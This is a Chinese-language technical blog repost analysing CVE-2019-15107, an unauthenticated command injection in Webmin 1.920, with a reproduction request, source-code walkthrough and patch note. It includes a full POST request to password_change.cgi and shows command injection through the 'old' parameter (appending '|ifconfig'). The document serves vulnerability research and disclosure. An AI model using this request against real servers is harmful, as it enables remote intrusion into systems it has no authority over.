Webmin <=1.920 远程命令执行漏洞 - CVE-2019-15107

2019-08-18 约 201 字 预计阅读 1 分钟

声明:本文 【Webmin <=1.920 远程命令执行漏洞 - CVE-2019-15107】 由作者 chybeta 于 2019-08-19 00:09:00 首发 先知社区 曾经 浏览数 237 次

感谢 chybeta 的辛苦付出!

0x01 漏洞复现

  • 测试版本:webmin 1.920
  • 测试环境:Ubuntu

漏洞需要开启密码重置功能。在控制界面 https://ip:10000/webmin/edit_session.cgi?xnavigation=1

等待webmin重启,配置生效。查看webmin的配置文件,可以发现passwd_mode的值已经从0变为了2

# cat /etc/webmin/miniserv.conf
...
passwd_mode=2
...

抓取到如下数据包:

POST /password_change.cgi HTTP/1.1
Host: yourip:10000
Connection: close
Content-Length: 63
Cache-Control: max-age=0
Origin: https://yourip:10000
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: same-origin
Referer: https://yourip:10000/session_login.cgi
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: redirect=1; testing=1; sessiontest=1; sid=x

user=root&pam=1&expired=2&old=buyaoxiedaopocli&new1=buyaoxiedaopocli&new2=buyaoxiedaopocli

在参数old后加上|ifconfig 执行ifconfig命令。

如果user不存在,同样能执行命令

0x02 漏洞分析

先整体看一下入口代码,password_change.cgi的第18-31行:

# Is this a Webmin user?
if (&foreign_check("acl")) {
    &foreign_require("acl", "acl-lib.pl");
    ($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users();
    if ($wuser->{'pass'} eq 'x') {
        # A Webmin user, but using Unix authentication
        $wuser = undef;
        }
    elsif ($wuser->{'pass'} eq '*LK*' ||
           $wuser->{'pass'} =~ /^\!/) {
        &pass_error("Webmin users with locked accounts cannot change ".
                    "their passwords!");
        }
}

这段代码用于根据请求中的user参数来查找其值是否事webmin的用户。假设只存在一个用户是root,且user=root,那自然$wuserroot。但如果我们不知道用户名即user=xxxx,则在经过grep操作后$wuser的值仍然为undef

但是紧接着一个比较语句,这句代码会直接导致$wuser的值从undef变为{}

所以在接下来的更新密码部分,无论我们提供的user值是否是webmin的用户,都会进入到if ($wuser) {...}这条分支中。

  • user=root

  • user=noexists_user

因此接下去只需要看password_change.cgi的第37-40行:

if ($wuser) {
    # Update Webmin user's password
    $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
    $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
    ...
}

首先需要吐槽的是外国的这篇文章 https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html , 分析了一大堆的unix_crypt,然后突然冒出一句话说we will use "vertical bar (|)"。写的啥玩意啊,这跟RCE有啥关系???

重点看 pass_error这行代码,当密码验证不正确的时候将:

&pass_error($text{'password_eold'},qx/$in{'old'}/);

注意$in{'old'}即参数old,而且放在了qx/.../中!

下图所指即命令执行后的结果,这是能直接回显的原因。

所以实际上无需|这些符号,直接注入即可。

顺便说个笑话,见github issue https://github.com/webmin/webmin/issues/947

0x03 补丁分析

webmin 1.930 修复了该漏洞,简单粗暴,去掉qx:

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now